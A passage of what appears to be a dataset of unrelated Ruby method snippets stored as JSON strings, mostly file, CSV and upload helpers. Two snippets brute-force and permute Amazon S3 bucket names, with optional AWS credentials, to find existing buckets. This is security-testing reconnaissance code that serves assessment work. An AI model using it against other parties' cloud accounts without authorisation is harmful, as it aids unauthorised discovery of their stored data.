specie.\n @amounts[j.species_id-1][0] = @amounts[j.species_id-1][0] + j.mbfss #This and triple-n tonnage in next are helper methods. See their documentation.\n @amounts[j.species_id-1][1] = @amounts[j.species_id-1][1] + j.tonnnage\n end\n end\n \n #Finally, the values calculated above are written into the file.\n File.open(\"#{@file_path}#{@filename}\", 'a') do |writer|\n writer.puts \"Job, #{k.name}\"\n writer.puts \"Category, MBF, Tonnage\"\n @species.each do |i|\n writer.puts \"#{i.code}, #{round_to(@amounts[i.id-1][0].to_f, 2)}, #{round_to(@amounts[i.id-1][1].to_f, 2)}\"\n end\n writer.puts \"Pulp, ,#{round_to(@total_pulp.to_f, 2)}\"\n writer.puts(\"\\n\")\n end\n end\n \n #The file created is opened in 'r' (== read) mode and send to user\n @file = File.open(\"#{@file_path}#{@filename}\", 'r')\n \n send_data(@file.read, :type => \"csv\", :filename => @filename)\n end",
"def run\n super\n\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = _get_entity_name.split(\",\")\n end\n\n potential_buckets.each do |pb|\n\n pb.chomp!\n\n # Check prefix\n potential_bucket_uri = \"https://#{pb}.s3.amazonaws.com?max-keys=1\"\n doc = Nokogiri::HTML(http_get_body(\"#{potential_bucket_uri}\"))\n next if ( doc.xpath(\"//code\").text =~ /NoSuchBucket/ ||\n doc.xpath(\"//code\").text =~ /InvalidBucketName/ ||\n doc.xpath(\"//code\").text =~ /AllAccessDisabled/ ||\n doc.xpath(\"//code\").text =~ /AccessDenied/ ||\n doc.xpath(\"//code\").text =~ /PermanentRedirect/)\n _create_entity(\"AwsS3Bucket\", {\"name\" => \"#{potential_bucket_uri}\", \"uri\" => \"#{potential_bucket_uri}\" })\n end\n\n potential_buckets.each do |pb|\n # Check postfix\n potential_bucket_uri = \"https://s3.amazonaws.com/#{pb}?max-keys=1\"\n doc = Nokogiri::HTML(http_get_body(\"#{potential_bucket_uri}\"))\n next if ( doc.xpath(\"//code\").text =~ /NoSuchBucket/ ||\n doc.xpath(\"//code\").text =~ /InvalidBucketName/ ||\n doc.xpath(\"//code\").text =~ /AllAccessDisabled/ ||\n doc.xpath(\"//code\").text =~ /AccessDenied/ ||\n doc.xpath(\"//code\").text =~ /PermanentRedirect/)\n _create_entity(\"AwsS3Bucket\", {\"name\" => \"#{potential_bucket_uri}\", \"uri\" => \"#{potential_bucket_uri}\" })\n end\n\n end",
"def generate_bulk_export\n # Delete the bulk_export directory if it exists.\n FileUtils.rm_rf(\"bulk_export\")\n\n get_all_insurance_plans\n get_all_location_resources\n p \"===============================================================\"\n p \"Creating the Bulk export folder output ...\"\n generate_payer_bulk_data\n generate_formulary_bulk_data\nend",
"def cat_files file_groups\n file_groups.each do |group|\n check_exists(group[:paths])\n # this is the Illumina recommended approach to combining these fastq files.\n # See the Casava 1.8 Users Guide for proof\n files_list = group[:paths].join(\" \")\n command = \"cat #{files_list} > #{group[:path]}\"\n execute command\n end\n end",
"def create_and_send_stats_files\n if params[:type] == \"stata\"\n download_stata_files\n else\n download_spss_files\n end\n end",
"def process_images(pat, sp_name)\n sp = ServicePack.find_or_create_by_name(sp_name)\n images = ImagePath.find(:all, :conditions => \"path like '#{pat}'\")\n length = images.length\n images.each_with_index do |image, index|\n # puts \"processing image #{index} of #{length}\"\n image.package.filesets.each do |fileset|\n ServicePackFilesetMap.find_or_create_by_service_pack_id_and_fileset_id(sp.id, fileset.id)\n end\n end\nend",
"def load_json_files(directory, base_url)\n unsuccessful_uploads = []\n total = 0\n Dir.glob(\"#{directory}/**/*.json\").each do |json_file|\n json_data = File.read(json_file)\n parsed_json = JSON.parse(json_data)\n total += 1\n resource_type = parsed_json[\"resourceType\"]\n resource_id = parsed_json[\"id\"]\n url = \"#{base_url}/#{resource_type}/#{resource_id}\"\n\n response = make_put_request(url, parsed_json)\n\n if response\n puts \"Uploaded #{json_file} successfully!\"\n else\n puts \"Failed to upload #{json_file}.\"\n unsuccessful_uploads << json_file\n end\n end\n\n retry_count = 0\n\n while retry_count < 10 && !unsuccessful_uploads.empty?\n unsuccessful_uploads.shuffle.each do |json_file|\n json_data = File.read(json_file)\n parsed_json = JSON.parse(json_data)\n\n resource_type = parsed_json[\"resourceType\"]\n resource_id = parsed_json[\"id\"]\n url = \"#{base_url}/#{resource_type}/#{resource_id}\"\n\n response = make_put_request(url, parsed_json)\n\n if response\n puts \"Uploaded #{json_file} successfully after retry #{retry_count + 1}!\"\n unsuccessful_uploads.delete(json_file)\n else\n puts \"Retry #{retry_count + 1} failed for #{json_file}.\"\n end\n end\n\n retry_count += 1\n end\n\n [total, unsuccessful_uploads.length]\nend",
"def generate_formulary_bulk_data\n p \"There are no Formulary resources available to generate bulk data.\" if FORMULARIES.empty?\n FORMULARIES.each do |formulary|\n NDOUTS.clear\n request = \"#{FHIR_SERVER}/fhir/InsurancePlan/#{formulary[:id]}/$export\"\n output_directory = File.join(\"bulk_export\", formulary[:id])\n FileUtils.mkdir_p(output_directory)\n generate_ndjson(\"InsurancePlan\", [formulary], output_directory)\n get_related_basic_and_medicationknowledge(formulary[:id], output_directory)\n\n location_ids = extract_location_id_from_reference(formulary[:coverageArea])\n get_related_locations(location_ids, output_directory)\n generate_export_json(output_directory, request, NDOUTS)\n end\nend",
"def collect_report_data\n report_data = { }\n\n # Read log file\n uploaded_files = parse_logfile(@logfile)\n report_data['uploaded_files'] = uploaded_files\n\n # Find local files\n local_files = []\n Find.find(@html_dir) do |path|\n if FileTest.directory?(path)\n if File.basename(path)[0] == ?.\n Find.prune\n end\n else\n local_files << path.sub(@html_path,'')\n end\n end\n report_data['local_files'] = local_files\n\n\n # Count vortex document types\n file_type_counts = { }\n uploaded_files.each do |key, val|\n type, server_path = uploaded_files[key]\n file_type_counts[type] = file_type_counts[type].to_i + 1\n end\n report_data['file_type_counts'] = file_type_counts\n\n\n # Count file extensions and calculate filesize\n extensions = { }\n uploaded_files.each do |filename, info|\n\n # TODO Remove temporarliy hack for PGP:\n if(filename == \"http\")\n next\n end\n filename = filename.gsub(\"http://varme.uio.no/pgp/\",\"\")\n\n extension = filename[/([^\\.]*)$/].downcase\n extensions[extension] = [] if(not(extensions[extension]))\n count = extensions[extension][0].to_i\n filesize = extensions[extension][1].to_i\n extensions[extension][0] = count + 1\n if(not(File.exists?(@html_path.to_s + filename)))\n throw \"Unknown file : '\" + @html_path + filename + \"' =>\" + info.to_s\n end\n extensions[extension][1] = filesize + File.size(@html_path.to_s + filename)\n end\n report_data['extensions'] = extensions\n\n\n # Count file extensions and calculate filesize for unpublished files\n unpublished_files = []\n unpublished_files_extensions = { }\n local_files.each do |local_filename|\n if(not(uploaded_files[local_filename]))then\n unpublished_files << local_filename\n extension = local_filename[/([^\\.]*)$/]\n unpublished_files_extensions[extension] = [] if(not(unpublished_files_extensions[extension]))\n count = unpublished_files_extensions[extension][0].to_i\n filesize = unpublished_files_extensions[extension][1].to_i\n unpublished_files_extensions[extension][0] = count + 1\n unpublished_files_extensions[extension][1] = filesize + File.size(@html_path.to_s + local_filename)\n end\n end\n report_data['unpublished_files'] = unpublished_files\n report_data['unpublished_files_extensions'] = unpublished_files_extensions\n\n return report_data\n end",
"def 500_files(input)\n # naive solution is to flatten and sort\n\n \nend",
"def upload_all_resources\n upload_conformance_resources\n upload_sample_resources\n retry_failed_upload\nend",
"def make_json_limit_task(channel)\n json_stamp = \"#{$carddir}/#{channel}/.limit_harvested\"\n file json_stamp => \"#{$carddir}/#{channel}/.limits_computed\" do |t|\n sh \"harvest_limits.py #{$carddir}/#{channel}\"\n sh \"touch #{t.name}\"\n end\n return json_stamp\nend",
"def report_base_path\n @report_base_path ||= \"knapsack\"\n end",
"def submission_files\n get_folder_files(SUBMISSION_PATH)\n end",
"def generate_data_files\n files = {}\n\n # extracted data\n @classes.each do |category|\n files[category] = {}\n folder = File.join(@res, 'data', category.to_s, 'extracted')\n\n files[category][:extracted] = File.join(folder, \"#{category}.json\")\n end\n\n # divided data\n @classes.each do |category|\n files[category][:divided] = {}\n folder = File.join(@res, 'data', category.to_s, 'divided')\n\n @subsets.each do |subset|\n files[category][:divided][subset] = File.join(folder,\n \"#{category}_#{subset}.json\")\n end\n end\n\n # preprocessed data\n @classes.each do |category|\n files[category][:preprocessed] = {}\n\n @preproc.each do |preprocess|\n folder = File.join(\n @res, 'data', category.to_s, 'preprocessed', preprocess.to_s)\n\n files[category][:preprocessed][preprocess] = {}\n\n @subsets.each do |subset|\n files[category][:preprocessed][preprocess][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n\n # transformed data\n if @trans.size > 0\n @classes.each do |category|\n files[category][:transformed] = {}\n\n @trans.each do |transformation|\n @preproc.each do |preprocess|\n ctrans = :\"#{transformation}_#{preprocess}\"\n\n folder = File.join(\n @res, 'data', category.to_s, 'transformed', ctrans.to_s)\n\n files[category][:transformed][ctrans] = {}\n\n @subsets.each do |subset|\n files[category][:transformed][ctrans][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n end\n end\n\n # classified data\n if @classifs.size > 0\n @classes.each do |category|\n files[category][:classified] = {}\n\n @classifs.each do |classifier|\n @trans.each do |transformation|\n @preproc.each do |preprocess|\n ctrans = :\"#{classifier}_#{transformation}_#{preprocess}\"\n\n folder = File.join(\n @res, 'data', category.to_s, 'classified', ctrans.to_s)\n\n files[category][:classified][ctrans] = {}\n\n @subsets.each do |subset|\n files[category][:classified][ctrans][subset] = File.join(\n folder, \"#{category}_#{subset}.json\")\n end\n end\n end\n end\n end\n end\n files\n end",
"def run\n super\n\n bucket_name = _get_entity_name\n opt_use_file = _get_option(\"use_file\")\n opt_filename = _get_option(\"brute_file\")\n opt_additional_buckets = _get_option(\"additional_buckets\")\n opt_use_creds = _get_option(\"use_creds\")\n opt_threads = _get_option(\"threads\")\n opt_permute = _get_option(\"create_permutations\")\n\n if opt_use_file\n _log \"Using file: #{opt_filename}\"\n potential_buckets = File.read(\"#{$intrigue_basedir}/data/#{opt_filename}\").split(\"\\n\")\n else\n _log \"Using provided brute list\"\n potential_buckets = [bucket_name]\n end\n\n # add in any additional buckets to the list of potentials\n all_potential_buckets = potential_buckets.concat(opt_additional_buckets.split(\",\"))\n\n # Create our queue of work from the checks in brute_list\n work_q = Queue.new\n all_potential_buckets.each do |pb|\n work_q << pb.strip\n\n # Add permutations\n if opt_permute\n begin\n # AWS is case sensitive.\n # https://forums.aws.amazon.com/thread.jspa?threadID=19928\n first_letter_cap = \"#{pb.strip}\".slice(0,1).upcase + \"#{pb.strip}\".slice(1..-1)\n work_q << \"#{first_letter_cap}\" unless \"#{first_letter_cap}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.upcase}\" unless \"#{pb.strip.upcase}\" == \"#{pb.strip}\"\n work_q << \"#{pb.strip.downcase}\" unless \"#{pb.strip.downcase}\" == \"#{pb.strip}\"\n\n # General development permutations\n work_q << \"#{pb.strip}-backup\"\n work_q << \"#{pb.strip}-beta\"\n work_q << \"#{pb.strip}-dev\"\n work_q << \"#{pb.strip}-development\"\n work_q << \"#{pb.strip}-eng\"\n work_q << \"#{pb.strip}-engineering\"\n work_q << \"#{pb.strip}-old\"\n work_q << \"#{pb.strip}-prod\"\n work_q << \"#{pb.strip}-qa\"\n work_q << \"#{pb.strip}-stage\"\n work_q << \"#{pb.strip}-staging\"\n work_q << \"#{pb.strip}-test\"\n work_q << \"#{pb.strip}-web\"\n work_q << \"backup-#{pb.strip}\"\n work_q << \"beta-#{pb.strip}\"\n work_q << \"dev-#{pb.strip}\"\n work_q << \"development-#{pb.strip}\"\n work_q << \"eng-#{pb.strip}\"\n work_q << \"engineering-#{pb.strip}\"\n work_q << \"old-#{pb.strip}\"\n work_q << \"prod-#{pb.strip}\"\n work_q << \"qa-#{pb.strip}\"\n work_q << \"stage-#{pb.strip}\"\n work_q << \"staging-#{pb.strip}\"\n work_q << \"test-#{pb.strip}\"\n work_q << \"web-#{pb.strip}\"\n rescue TypeError => e\n puts \"Unable to permute: #{pb}, failing\"\n end\n end\n\n end\n\n # Create a pool of worker threads to work on the queue\n workers = (0...opt_threads).map do\n Thread.new do\n begin\n while bucket_name = work_q.pop(true)\n\n #skip anything that isn't a real name\n next unless bucket_name && bucket_name.length > 0\n\n # Authenticated method\n if opt_use_creds\n\n access_key_id = _get_task_config \"aws_access_key_id\"\n secret_access_key = _get_task_config \"aws_secret_access_key\"\n\n unless access_key_id && secret_access_key\n _log_error \"FATAL! To scan with authentication, you must specify a aws_access_key_id aws_secret_access_key in the config!\"\n return\n end\n\n # Check for it, and get the contents\n Aws.config[:credentials] = Aws::Credentials.new(access_key_id, secret_access_key)\n exists = check_existence_authenticated(bucket_name)\n\n # create our entity and store the username with it\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => true,\n \"username\" => access_key_id\n }) if exists\n\n #########################\n # Unauthenticated check #\n #########################\n else\n\n s3_uri = \"https://#{bucket_name}.s3.amazonaws.com\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false\n }) if exists\n\n next if exists ## Only proceed if we got an error above (bucket exists!) !!!\n\n s3_uri = \"https://s3.amazonaws.com/#{bucket_name}\"\n exists = check_existence_unauthenticated(s3_uri)\n _create_entity(\"AwsS3Bucket\", {\n \"name\" => \"#{s3_uri}\",\n \"uri\" => \"#{s3_uri}\",\n \"authenticated\" => false,\n }) if exists\n\n end # end if opt_use_creds\n\n\n end # end while\n rescue ThreadError\n end\n end\n end; \"ok\"\n workers.map(&:join); \"ok\"\n\n end",
"def saveReportAndGelImages(inputStr, num_samples)\n \n # number of rows in striwell plate\n rows = (num_samples/WELLS_PER_STRIPWELL.to_f).ceil\n \n show do \n title \"Save PDF and gel images\"\n note \"If an error message occurs after the reports were generated, click <b>okay</b>\"\n note \"A PDF report is generated. Note that a separate gel image is generated for each stripwell row.\"\n check \"For each gel image in the PDF, right-click on the image, copy it, and paste it into Paint. Then save to <b>Documents/Gel Images</b> for each row, with the filenames below:\" \n rows.times do |i|\n note \"For Row #{i + 1}: stripwell_from_#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_#{i + 1}.JPG\" # jid is JOB id\n end\n note \"On the PDF, select <b>File -> Save As</b>, navigate to <b>Documents/PDF Report</b>, and save the PDF as <b>#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}</b>\"\n note \"Close the PDF\"\n note \"You will now upload the PDFs and gel files\"\n end\n \n # upload PDFs\n pdf_uploads=uploadData(\"Documents/PDF Report/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}.pdf\",1,3) # 1 file for whole plate\n gel_uploads=uploadData(\"Documents/Gel Images/#{Time.now.strftime(\"%Y-%m-%d\")}_#{jid}_row_*.jpg\",rows,3) # 1 image per row\n # associate gel,PDF images \n operations.each do |op|\n if(!gel_uploads.nil?)\n rr=op.get(:qc_row) # position in gel_uploads, 0-based \n if(!(gel_uploads[rr].nil?))\n op.input(inputStr).item.associate \"qc_image\", gel_uploads[rr]\n op.plan.associate \"qc_image_#{op.input(inputStr).sample.id}\", \"QC Image\", gel_uploads[rr]\n end\n end\n if(!pdf_uploads.nil?)\n op.input(inputStr).item.associate \"qc_report\", pdf_uploads[rr]\n op.plan.associate \"qc_report_#{op.input(inputStr).sample.id}\", \"QC Report\", pdf_uploads[0]\n end\n end\n end",
"def store_files(detail_file_path)\n destination_dir = File.join(\"files\", \"clearinghouse_request\", id.to_s, \"receive\")\n log \"Storing files for later use(#{detail_file_path}) to #{destination_dir}\"\n source_dir = File.dirname(detail_file_path)\n update_attribute(:detail_report_filename, File.basename(detail_file_path))\n FileUtils.mkdir_p(destination_dir)\n all_files = nsc.interpolate_file_names_from_detail_file_path(detail_file_path)\n copied_files = []\n for file_name in all_files\n source_path = File.join(source_dir, file_name)\n if File.exists?(source_path)\n store_permanently!(source_path)\n end\n end\n log \"done\"\n files\n end",
"def index(base_path, glob = nil)\n\t\tglob = '*' if glob == '' or glob.nil?\n\t\tdirs = []\n\t\tfiles = []\n\t\t::Dir.chdir(base_path) do\n\t\t\t::Dir.glob(glob).each do |fname|\n\t\t\t\tif ::File.directory?(fname)\n\t\t\t\t\tdirs << fname + '/'\n\t\t\t\telse\n\t\t\t\t\tfiles << fname\n\t\t\t\tend\n\t\t\tend\n\t\tend\n\t\tdirs.sort + files.sort\n\trescue Errno::ENOENT\n\t\traise Rush::DoesNotExist, base_path\n\tend",
"def genenate_average_files\n puts 'genenate_average_files'\n @data.each do |e|\n final = get_avg(e)\n puts \"#{e[0]} #{final}\"\n File.open(e[0].to_s, 'w') do |file|\n file.puts(\"#{e[0]}, #{final}\")\n end\n end\n end",
"def report_file\n File.join(@params[\"SS_output_dir\"], \"report_data.json\")\nend",
"def chunks\n Dir[File.join(Config.tmp_path, package.basename + \"-*\")].sort\n end",
"def collection_loop(github_num, rubygem_num)\n client = create_client()\n if USE_GOOGLE_DRIVE\n google_session = GoogleDrive::Session.from_config(GOOGLE_DRIVE_API_CONFIG)\n type_folder = ensure_google_type_folder(google_session)\n end\n ensure_data_folder\n ensure_program_log_file\n apps_hash = File.file?(TYPE_DATA_JSON_FILE) ? JSON.parse(File.read(TYPE_DATA_JSON_FILE)): {}\n file_hashes = {}\n app_num = 0\n\n\n File.open(ERROR_LOG, \"w\") { |f| f.puts(\"ERRORS\") }\n \n\n ## get list of github repos to download\n gh_list = get_github_list(client, github_num)\n\n # get list of rubygems repos to download\n rg_list = get_rubygems_list(rubygem_num)\n\n # combine them into a single program list\n prog_list = (gh_list + rg_list).uniq { |r| r[:name] }\n\n ## HACK: RAILS_GEMS are all included in rails already, similar with aws-sdk gems. Drop these from prog_list.\n prog_list.delete_if { |r| RAILS_GEMS.include?(r[:name]) || r[:name].start_with?(\"aws-sdk\") || r[:name].start_with?(\"sys-proctable\") } \n\n prog_list.each { |r|\n puts \"Working on app ##{app_num}...\"\n ## HACK... have to look into these cases separately \n next if [\"libv8\", \"facter\", \"sixarm_ruby_unaccent\"].include?(r[:name])\n \n if File.directory?(\"#{DATA_DIR}/#{r[:name]}\")\n ## if data already exists for this program, then just load that data and update it.\n \n ## below commented out line uses existing json file\n #meths_hash = JSON.parse(File.read(\"#{DATA_DIR}/#{r[:name]}/#{r[:name]}-#{TYPE_DATA_JSON_FILE}\"))\n puts \"Found .yardoc file for app #{r[:name]}. Loading...\"\n load_yard_doc(\"#{DATA_DIR}/#{r[:name]}/.yardoc\")\n #prog_log = load_prog_log(\"#{DATA_DIR}/#{r[:name]}/log.csv\")\n app_file_hashes = JSON.parse(File.read(\"#{DATA_DIR}/#{r[:name]}/#{r[:name]}-#{FILE_MD5_HASHES}\"))\n file_hashes.merge!(app_file_hashes) { |k, v1, v2| v1 | v2 }\n\n ## get all YARD method data\n meths = YARD::Registry.all(:method)\n\n ## extract the data we want\n meths_hash = get_yard_meths(meths)\n\n ## store the method data in the app data (if there is any method data)\n apps_hash[r[:name]] = meths_hash if !meths_hash.empty?\n else\n ## if data doesn't already exist, generate and save it.\n \n #commit_sha = client.commits(r[:full_name], r[:default_branch])[0][:sha]\n #prog_log = [r[:name], r[:name].hash, r[:html_url], r[:default_branch], commit_sha, Time.now.getutc.to_s, \"\", \"\"]\n prog_log = get_prog_log(r)\n \n download_prog(r)\n Dir.chdir(r[:dir_name])\n\n app_file_hashes = {}\n \n ## YARD stuff here\n meth_files = []\n generate_yard_doc\n meths = YARD::Registry.all(:method)\n meths_hash = get_yard_meths(meths, meth_files)\n\n ## save to apps_hash, program log\n if !meths_hash.empty?\n apps_hash[r[:name]] = meths_hash\n CSV.open(\"../#{LOG_FILE}\", \"a+\") { |csv|\n csv << prog_log\n }\n end\n\n ## collect MD5 hashes of all files in program\n meth_files.each do |f|\n next if f.nil? || !File.file?(f)\n key = Digest::MD5.hexdigest(IO.read(f))\n ## add file hash to both this app's hashes, and overall hashes\n if app_file_hashes.has_key?(key) then app_file_hashes[key].push(f) else app_file_hashes[key] = [f] end\n if file_hashes.has_key?(key) then file_hashes[key].push(f) else file_hashes[key] = [f] end\n end\n\n \n ## save app data files, and upload compressed app to google drive\n Dir.chdir(\"..\")\n save_app_data(r[:name], meths_hash, prog_log, app_file_hashes)\n compress_and_upload(type_folder, r[:dir_name]) if USE_GOOGLE_DRIVE\n cleanup(r[:dir_name])\n end\n app_num += 1\n }\n\n ## write type data\n File.open(TYPE_DATA_JSON_FILE,\"w\") do |f|\n f.write(JSON.pretty_generate(apps_hash))\n end\n\n ## write file hashes\n File.open(FILE_MD5_HASHES, \"w\") do |f|\n f.write(JSON.pretty_generate(file_hashes))\n end\n\n return [apps_hash, file_hashes]\nend",
"def upload_locally_staged_rpms_to(hosts, rpm_staging_dir)\n rpms = Dir['*.rpm'] + Dir[File.join('rpms','*.rpm')]\n rpms.each do |f|\n scp_to(hosts,f,rpm_staging_dir)\n end\nend",
"def process_all_primary_files\n # NOTE: I investigated concurrent processing of files\n # to speed up this process, however I didn't pursue it\n # further: This process is highly CPU intensive, so the\n # only way to get a significant speedup is to use\n # multiple CPUs/Cores. In MRI this is only possible\n # with multiple processes. I didn't want to go through\n # the trouble of IPC to collect all files' operations.\n # It would be easier if we could use threads, however\n # that would require jruby or rbx. So I'm sticking with\n # sequential processing for now.\n Dir.glob(\n File.join(@repository.base_dir, '**/content/**/*.at')\n ).map { |absolute_file_path|\n next nil if !@file_list.any? { |e| absolute_file_path.index(e) }\n # Skip non content_at files\n unless absolute_file_path =~ /\\/content\\/.+\\d{4}\\.at\\z/\n raise \"shouldn't get here\"\n end\n\n # Note: @any_content_type may be the wrong one, however finding\n # corresponding STM CSV file will still work as it doesn't rely\n # on config but das regex replacements on file path only.\n content_at_file_to = Repositext::RFile::ContentAt.new(\n File.read(absolute_file_path),\n @language,\n absolute_file_path,\n @any_content_type\n )\n\n @logger.info(\" - process #{ content_at_file_to.repo_relative_path(true) }\")\n\n soff = SubtitleOperationsForFile.new(\n content_at_file_to,\n @repository.base_dir,\n {\n from_git_commit: @from_git_commit,\n to_git_commit: @to_git_commit,\n prev_last_operation_id: @prev_last_operation_id,\n execution_context: @execution_context,\n }\n ).compute\n\n if soff.operations.any?\n @prev_last_operation_id = soff.last_operation_id\n soff\n else\n # Return nil if no subtitle operations exist for this file\n nil\n end\n }.compact\n end",
"def collect\n file_path = File.join(@raw_file.cached_path, @raw_file.name)\n begin\n case @raw_file.cached_storage_location\n when AppConfig.file_locations.database\n gridfs_file = Mongo::GridFileSystem.new(Mongoid.database).open(file_path, 'r')\n send_data gridfs_file.read, :filename => @raw_file.name\n when AppConfig.file_locations.filesystem\n send_file file_path, :filename => @raw_file.name\n end\n rescue\n render :status => :not_found\n end\n end",
"def sync_many_files(files, user, api)\n files.group_by(&:project).each do |project, project_files|\n project_files.each_slice(FILES_CHUNK_SIZE) do |files_chunk|\n results = find_files_on_platform(files_chunk.map(&:dxid), project, api)\n\n files_chunk.each do |file|\n res = results.find { |r| r[:id] == file.dxid }\n # means that file doesn't exist on the platform anymore\n remove_local_file(file, user) unless res\n sync_file_state(res, file, user)\n end\n end\n end\n end",
"def transfer!\n package.filenames.each do |filename|\n src = File.join(Config.tmp_path, filename)\n dest = File.join('/', remote_path, filename)\n Logger.info \"Storing '#{ dest }'...\"\n\n File.open(src, 'r') do |file|\n @uploader = ChunkedUploader.new(client, file)\n with_retries do\n @uploader.upload(1024**2 * chunk_size)\n end\n end\n\n with_retries do\n @uploader.finish(dest)\n end\n end\n rescue => err\n raise Error.wrap(err, \"Upload Failed!\")\n end",
"def summarize_file(path); end",
"def filename\n files = Hash.new\n filenames = Dir.glob('/home/vagrant/register-stub/data/*.json')\n filenames.foreach(\".\") do |file|\n puts file\n files[file].add file\n end\n return files.to_json\nend",
"def downloadBadge(repo, destdir, release=false)\n\n filtered_data = getRanking(repo, release)\n len = filtered_data.length.to_s\n\n filtered_data.each_with_index { |(key, value), index|\n pkg = key\n shield = File.join(destdir, \"#{pkg}.svg\")\n rank = \"#{value} / #{len}\"\n puts pkg\n puts rank\n\n template = File.read(File.join('assets', 'images', 'shields', 'downloads', 'download-template.svg'))\n newbadge = template.gsub(/99999\\/99999/,rank)\n newbadge = newbadge.gsub(/x=\\\"(765)\\\"/, 'x=\"700\"')\n newbadge = newbadge.gsub(/width=\\\"(120)\\\"/, 'width=\"110\"')\n newbadge = newbadge.gsub(/textLength=\\\"(750)\\\"/, '')\n File.open(shield, \"w\") { |file| file.write(newbadge) }\n\n puts \"done\"\n }\n\nend",
"def createMergeCsvFiles()\n fileNames = Array.new\n \n # key:API name, value: array of data array(size = number of csv files)\n bufHash = Hash.new\n @csvFiles.each {|file|\n # csv data: array of array\n csvDatas = readCSV(file)\n # To get the keyword(apiNames) from the first column.\n apiNames = csvDatas[0]\n # convert the data of each row to column\n # Limitaion: The size of the array elements of csvDatas must be the same.\n newCsvDatas = csvDatas.transpose()\n \n if (bufHash.size == 0)\n # set data for keyword\n apiNames.each_with_index {|keyword, idx|\n bufHash[keyword] = [ newCsvDatas[idx] ]\n }\n else\n # set data for keyword\n bufHash.each {|keyword,val|\n # key exist?\n idx = apiNames.find_index(keyword)\n if (idx != nil)\n bufHash[keyword].push( newCsvDatas[idx] )\n end\n }\n end\n \n }\n \n # create csv for key\n bufHash.each {|keyword, values|\n strBufArray = Array.new\n # values: array of array\n values.each_with_index {|csvData, csvIndex|\n csvData.each_with_index {|elem, index|\n if (csvIndex == 0)\n if (index == 0)\n strBufArray[index] = sprintf(\"number,%d_%s\", csvIndex+1, elem)\n else\n strBufArray[index] = sprintf(\"%d,%s\", index, elem)\n end\n else\n if (index == 0)\n strBufArray[index] += sprintf(\",%d_%s\", csvIndex+1, elem)\n else\n strBufArray[index] += sprintf(\",%s\", elem)\n end\n end\n }\n }\n \n strBuf = strBufArray.join(\"\\n\")\n \n # generate filename by date\n filename = Time.now.strftime(\"%Y%m%d%H%M%S\")\n filename = sprintf(\"%s_%s.csv\", filename, keyword)\n filename = filename.gsub(/:+/,'_')\n File.open(filename, 'w') { |file|\n file.puts(strBuf)\n }\n fileNames.push(filename)\n }\n \n @csvFiles = fileNames\n end",
"def send_features(folder_id, folder_name)\n # get all features files from folder\n feature_list = Dir.glob(\"#{$dir_target}/#{folder_name}/*.feature\")\n puts \"Count features to upload: #{feature_list.count}\"\n\n # Send features to HipTest\n feature_list.each do |file|\n if !File.directory?(file)\n file_name = get_name_feature_from_path(file)\n feature_content = read_feature_by_path(file)\n new_feature_request(folder_id, feature_content, file_name)\n puts \"Send new feature: #{file_name}\"\n sleep 2\n end\n end\nend",
"def files_on_remote\n @bucket_contents = nil\n bucket_contents.map {|item| File.basename(item['Key']) }.sort\n end",
"def compose_file bucket_name:, first_file_name:, second_file_name:, destination_file_name:\n # The ID of your GCS bucket\n # bucket_name = \"your-unique-bucket-name\"\n\n # The ID of the first GCS object to compose\n # first_file_name = \"your-first-file-name\"\n\n # The ID of the second GCS object to compose\n # second_file_name = \"your-second-file-name\"\n\n # The ID to give the new composite object\n # destination_file_name = \"new-composite-file-name\"\n\n require \"google/cloud/storage\"\n\n storage = Google::Cloud::Storage.new\n bucket = storage.bucket bucket_name, skip_lookup: true\n\n destination = bucket.compose [first_file_name, second_file_name], destination_file_name do |f|\n f.content_type = \"text/plain\"\n end\n\n puts \"Composed new file #{destination.name} in the bucket #{bucket_name} \" \\\n \"by combining #{first_file_name} and #{second_file_name}\"\nend",
"def run\n @files.each do |file|\n generate_tracklist(file)\n end\n end",
"def scg_report\n @scg_csv_array = []\n get_resource_list('compute', 'storage-connectivity-groups', 'storage_connectivity_groups', name = 'display_name', id = 'id')\n @resource_id_list.each do |scgid|\n scg = rest_get(\"#{@resource_url}/storage-connectivity-groups/#{scgid}\", @token_id)\n scg_array = JSON.parse(scg)['storage_connectivity_group']\n scg_name = scg_array['display_name']\n scg_auto_add_vios = scg_array['auto_add_vios']\n scg_fc_storage_access = scg_array['fc_storage_access']\n scg_ports_per_fabric_npiv = scg_array['ports_per_fabric_npiv']\n @scg_host_list = []\n @scg_host_array = scg_array['host_list']\n @scg_host_array.each do |host|\n @scg_host_list.push(host['name'])\n end\n @scg_vios_array = scg_array['host_list'][0]['vios_list']\n @scg_vios_names = []\n @scg_vios_array.each do |vios|\n @scg_vios_names.push(vios['name'])\n end\n @scg_csv_headers = %w(SCG_Name SCG_Auto_Add_VIOs SCG_FC_Storage_Access SCG_Ports_per_Fabric SCG_Host_List SCG_VIOs_List)\n @scg_csv_array << [scg_name, scg_auto_add_vios, scg_fc_storage_access, scg_ports_per_fabric_npiv, @scg_host_list, @scg_vios_names]\n end\n end",
